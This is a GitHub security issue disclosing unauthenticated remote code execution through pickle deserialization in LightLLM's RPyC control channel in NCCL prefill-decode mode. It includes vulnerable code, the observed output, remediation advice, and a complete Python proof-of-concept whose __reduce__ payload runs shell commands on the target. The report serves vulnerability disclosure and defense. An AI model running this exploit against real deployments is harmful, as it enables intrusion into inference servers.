Skip to content

[BUG] Unauthenticated Remote Code Execution via RPyC Control Channel in NCCL PD Transport Mode #1590

Description

@yyymk

Issue description

LightLLM in PD (prefill-decode) disaggregation mode with --pd_trans_mode nccl starts an unauthenticated RPyC ThreadedServer inside every KV-transfer worker process. The server is configured with "allow_pickle": True, "allow_all_attrs": True, "allow_getattr": True, "allow_setattr": True and exposes remote-callable methods that deserializing attacker-controlled data. A remote attacker who can reach the listening port (TCP 30000-40000 on prefill/decode nodes) achieves arbitrary code execution in the KV-transfer process with the privileges of the LightLLM service account, without any credentials.

Two independent exploitation paths were verified end-to-end from a different host against both the prefill and the decode node:

  • Path A (parameter deserialization): calling exposed_push_notif() with a crafted object while allow_pickle is enabled makes the server-side obtain() deserialize it; an object with a __reduce__ method executes arbitrary code.
  • Path B (payload deserialization): exposed_push_notif(pickle.dumps(payload)) queues attacker-controlled bytes which the worker threads later pass to pickle.loads() (nccl_kv_transporter.py:248).

This issue is mechanistically distinct from CVE-2026-26220 (PD master WebSocket pickle RCE), CVE-2026-90919 (config server /visual_register pickle RCE) and CVE-2026-93839 (/pd_register authentication bypass): those affect the PD master / config server HTTP surface; this issue affects a separate RPyC control-plane service on the prefill/decode nodes that exists only in NCCL transport mode, with a different code path, a different sink, and a different network surface.

Weakness classification: CWE-502 (Deserialization of Untrusted Data), CWE-306 (Missing Authentication for Critical Function)
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

Detail

Affected Component and Code

Item Details
Product LightLLM
Confirmed affected source commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6 (v1.2.0-50-g1eb4810c); identical vulnerable configuration verified at tag v1.2.0 and still present on current main (2026-09-22)
Component PD disaggregation KV transfer, NCCL backend (--pd_trans_mode nccl)
File lightllm/server/router/model_infer/mode_backend/pd/nccl_kv_transporter.py
Binding lightllm/server/router/model_infer/mode_backend/pd/kv_transporter.py:20-36 (port range 30000 + tp_idx*100 … 40000)
Vulnerable locations _NcclControlChannel._start_server() L437-461 (ThreadedServer with allow_pickle/allow_all_attrs/allow_getattr/allow_setattr, no authentication); _NcclControlService.exposed_push_notif() L411-419 (obtain() on remote input); _get_notify_source_agent_name() L248 (pickle.loads(notify))
Prerequisite --pd_trans_mode nccl on prefill/decode nodes; network reachability of the RPyC port

Vulnerability Mechanism

1. Unauthenticated RPyC server with unsafe protocol config

# nccl_kv_transporter.py:437-451
def _start_server(self, host_ip: str, port_min: int, port_max: int) -> tuple[ThreadedServer, int]:
    for cur_port in range(port_min, port_max + 1):
        try:
            server = ThreadedServer(
                _NcclControlService(self),
                hostname=host_ip,
                port=cur_port,
                protocol_config={
                    "allow_pickle": True,
                    "allow_all_attrs": True,
                    "allow_getattr": True,
                    "allow_setattr": True,
                },
            )

_NcclControlService is a custom rpyc.Service; there is no authentication of any kind before remote calls execute. The listening address is get_hostname_ip() or args.host (kv_transporter.py:33), i.e. the first result of hostname -i — the --host start argument has no effect on this listener. In containerized deployments (the documented multi-node PD topology, e.g. deploy_dspark_1p1d.sh / the official image), hostname -i returns the routable container/Pod IP, so the port is network-reachable by default.

2. Path A — server-side obtain() deserialization

# nccl_kv_transporter.py:411-414
class _NcclControlService(rpyc.Service):
    def exposed_push_notif(self, payload: bytes):
        payload = obtain(payload)          # <-- with allow_pickle, deserializes attacker object
        self.channel.notif_queue.put(payload)

With allow_pickle: True, rpyc passes a client-side object that cannot be referenced by netref as a pickled value; obtain() then unpickles it on the server. An object whose __reduce__ returns (os.system, (cmd,)) executes cmd inside the KV-transfer process.

3. Path B — queued payload deserialization

# nccl_kv_transporter.py:247-248
def _get_notify_source_agent_name(self, notify: bytes) -> str:
    notify_obj = pickle.loads(notify)      # <-- attacker-controlled bytes from exposed_push_notif

Bytes submitted through exposed_push_notif() are consumed by the transfer worker's polling threads (accept_peer_task_loop in prefill_trans_process.py / decode_trans_process.py) and passed to pickle.loads().

PoC

Test Environment

Item Value
Victim host 192.168.105.123 (Ubuntu 22.04, kernel 6.8.0-138-generic)
Attacker host separate workstation on the same LAN (different machine)
GPU / driver 8x NVIDIA RTX 4090, driver 580.178.04, CUDA 13.0
Python / torch 3.10.21 / 2.11.0+cu130 (official ghcr.io/modeltc/lightllm:main rootfs)
rpyc 5.3.1 on both ends (note: rpyc 6.x client fails with invalid message type: 18)
LightLLM commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6
Model Qwen2.5-0.5B-Instruct
Topology 1P1D, --pd_trans_mode nccl, --tp 1; master :8000, prefill :8001, decode :8002

Test Steps

  1. Start a 1P1D cluster in NCCL transport mode. The RPyC control channel binds on hostname -i; in Docker/K8s this is the routable Pod IP by default. On a desktop Ubuntu install where /etc/hosts maps the hostname to 127.0.1.1, change that line to the machine's LAN IP to reflect the containerized default:
$ hostname -i
192.168.105.123
$ ss -ltnp | grep -E '3000[01]'
LISTEN 0 128 192.168.105.123:30000 users:(("lightllm::…::decode_trans:Device0",pid=63882,fd=71))
LISTEN 0 128 192.168.105.123:30001 users:(("lightllm::…::prefill_trans:Device0",pid=64010,fd=74))

Both the decode node (:30000) and the prefill node (:30001) run the vulnerable service.

  1. From the attacker workstation (different host), run:
#!/usr/bin/env python3
# Unauth RCE PoC — LightLLM NCCL PD RPyC control channel
import sys
import rpyc

HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.105.123"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 30000

class RCE:
    def __reduce__(self):
        import os
        cmd = ("id > /tmp/lightllm_pwned_rpyc 2>&1; "
               "hostname >> /tmp/lightllm_pwned_rpyc; "
               "date >> /tmp/lightllm_pwned_rpyc")
        return (os.system, (cmd,))

conn = rpyc.connect(
    HOST, PORT,
    config={"allow_all_attrs": True, "allow_getattr": True,
            "allow_setattr": True, "allow_pickle": True},
    keepalive=True,
)

# Path A: server-side obtain() unpickles the object -> __reduce__ executes
conn.root.push_notif(RCE())

# Path B (double-check): raw pickled bytes -> worker-thread pickle.loads()
import pickle
conn.root.push_notif(pickle.dumps(RCE()))

print("[+] delivered; inspect /tmp/lightllm_pwned_rpyc on the target")

Observed Result

No credentials, no handshake beyond the TCP/RPyC connect. Marker file created on the victim by the KV-transfer process (decode_trans:Device0, pid 65248), content:

uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),136(docker)
user-R5300-G5
2026-09-22T23:28:58+08:00
  • Path A verified on :30000 (decode) and :30001 (prefill), repeated across cold and warm restarts (4+ successful rounds); Path B verified on :30000.
  • The executing process is the KV-transfer worker (prefill_trans:Device0 / decode_trans:Device0), not the HTTP server; the cluster remains healthy after exploitation (/health → pd_nodes_healthy: true), so the compromise does not disrupt service and is not visible in health monitoring.

Impact

Unauthenticated remote code execution with the privileges of the LightLLM service account on every prefill and decode node running --pd_trans_mode nccl. In the test the account held membership in the sudo and docker groups. The compromised process holds CUDA contexts and KV-cache buffers, and the RPyC channel additionally allows exposed_set_value to manipulate the NCCL bootstrap store used for communicator setup. Availability/confidentiality/integrity of the node are fully compromised while the service keeps serving.

Suggested severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical), consistent with the scoring of the previously issued LightLLM advisories (CVE-2026-26220, CVE-2026-90919).

Remediation

  1. Remove allow_pickle / allow_all_attrs / allow_getattr / allow_setattr from the ThreadedServer protocol config; use rpyc's restricted defaults and pass plain validated structures.
  2. Replace pickle for notify payloads with a safe schema (e.g. msgpack/JSON with field whitelists); exposed_push_notif must not accept opaque serialized objects.
  3. Authenticate the control channel (per-cluster shared secret distributed via the config server, or mTLS).
  4. Bind the control channel to an explicitly configured address; do not silently ignore --host (currently get_hostname_ip() or args.host means the start argument never applies when hostname -i succeeds).

Activity

  1. modelpath-dev commented on Sep 27, 2026

    @modelpath-dev

    It looks like there's a serious security issue with unauthenticated remote code execution due to the way the RPyC server is configured in NCCL transport mode. I'd start by checking the nccl_kv_transporter.py file, especially around line 248 where pickle.loads() is used.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions